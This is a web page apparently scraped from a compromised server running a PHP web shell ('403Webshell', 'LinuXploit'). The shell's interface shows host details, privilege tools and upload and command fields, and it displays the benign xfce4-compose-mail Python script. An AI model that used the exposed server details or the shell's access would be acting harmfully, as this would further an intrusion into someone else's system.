403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/xfce4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/xfce4/xfce4-compose-mail
#!/usr/bin/env python3
#
# xfce4-compose-mail - Python script to parse mailto:-URIs and invoke the
#                      various included MailReaders with the appropriate
#                      parameters.
#
# Copyright (c) 2006 Benedikt Meurer <benny@xfce.org>.
# Copyright (c) 2013 Seth Vidal - Red Hat, Inc. <skvidal@fedoraproject.org>.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License ONLY.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301 USA

import sys
import os
import urllib.parse
import shutil

# check number of arguments
if len(sys.argv) < 3:
    print("Usage: %s <style> <binary> <mailto>" % (sys.argv[0]), file=sys.stderr)
    sys.exit(1)

# determine arguments
style = sys.argv[1]
binary = sys.argv[2]
raw_mailto = sys.argv[3]

def parse_url(mailto):
    url = urllib.parse.urlparse(mailto)
    res = {}
    to = []
    query = None

    if url.query or '?' not in url.path:
        if url.path:
            to.append(urllib.parse.unquote(url.path))

    else:
        (thisto, ques, query) = url.path.partition('?')
        if thisto.strip():
            to.append(urllib.parse.unquote(thisto))

    if not query:
        query = url.query

    q_dict = urllib.parse.parse_qs(query)
    to.extend(q_dict.get('to', []))
    res['to'] = to
    if 'to' in q_dict:
        del(q_dict['to'])

    res.update(q_dict)
    return res

# mailto:-components
mailto = parse_url(raw_mailto)
to = mailto.get('to', [])
cc = mailto.get('cc', [])
bcc = mailto.get('bcc', [])
subject = ' '.join(mailto.get('subject', []))
body = '\n'.join(mailto.get('body', []))
attachments = mailto.get('attach',[])
attachments += mailto.get('attachment',[])

# check if binary is valid
binary_path = shutil.which(binary)
if not binary_path:
    print("%s: command not found or not executable: '%s'." %
            (sys.argv[0], binary), file=sys.stderr)
    sys.exit(1)

# start with only the binary name
args = [binary]

# add style-specific parameters
if style == 'mozilla':
    # similar to mozilla-remote, but with --compose
    command = "to='" + ','.join(to) + "'"
    command += ",cc='" + ','.join(cc) + "'"
    command += ",bcc='" + ','.join(bcc) + "'"
    command += ",attachment='" + ','.join(attachments) + "'"
    if subject:
         command += ",subject=" + urllib.parse.quote(subject, errors='replace')
    if body:
         command += ",body=" + urllib.parse.quote(body, errors='replace')

    args.append('-compose')
    args.append(command)

elif style == 'mozilla-remote':
    command = 'xfeDoCommand(composeMessage'
    command += ",to='" + ','.join(to) + "'"
    command += ",cc='" + ','.join(cc) + "'"
    command += ",bcc='" + ','.join(bcc) + "'"
    command += ",attachment='" + ','.join(attachments) + "'"
    if subject:
         command += ",subject=" + urllib.parse.quote(subject, errors='replace')
    if body:
         command += ",body=" + urllib.parse.quote(body, errors='replace')
    command += ')'

    args.append('-remote')
    args.append(command)

elif style in ['evolution', 'kmail', 'geary']:
     # these take a mailto uri and parse it themselves
     # just hand back what we were handed originally
     args.append(raw_mailto)

elif style == 'balsa':
    args.append('--compose')
    args.append(raw_mailto)

elif style == 'sylpheed':
    args.append('--compose')
    args.append(raw_mailto)
    # attachments must be passed separately
    if attachments and not args[0] == 'claws-mail':
        args.append('--attach')
        for item in attachments:
            args.append(item)

elif style == 'mutt':
    if subject:
        args.append('-s')
        args.append(subject)
    for item in cc:
        args.append('-c')
        args.append(item)
    for item in bcc:
        args.append('-b')
        args.append(item)
    if attachments:
        args.append('-a')
        for item in attachments:
            args.append(item)
    args.append('--')
    for item in to:
        args.append(item)
    if not to:
        args.append('')
    if body:
        args.append('mailto:?body=' + urllib.parse.quote(body, errors='replace'))

else:
   print("%s: Unsupported style '%s'." % (sys.argv[0], style), file=sys.stderr)
   sys.exit(1)

# try to execute the generated command
try:
    os.execv(binary_path, args)
except OSError as e:
    print('{}: Error: {}'.format(sys.argv[0], e), file=sys.stderr)
    print('Command was: {} {}'.format(binary_path, args), file=sys.stderr)

# something went wrong (this process was supposed to be replaced)
sys.exit(1)

Youez - 2016 - github.com/yon3zu
LinuXploit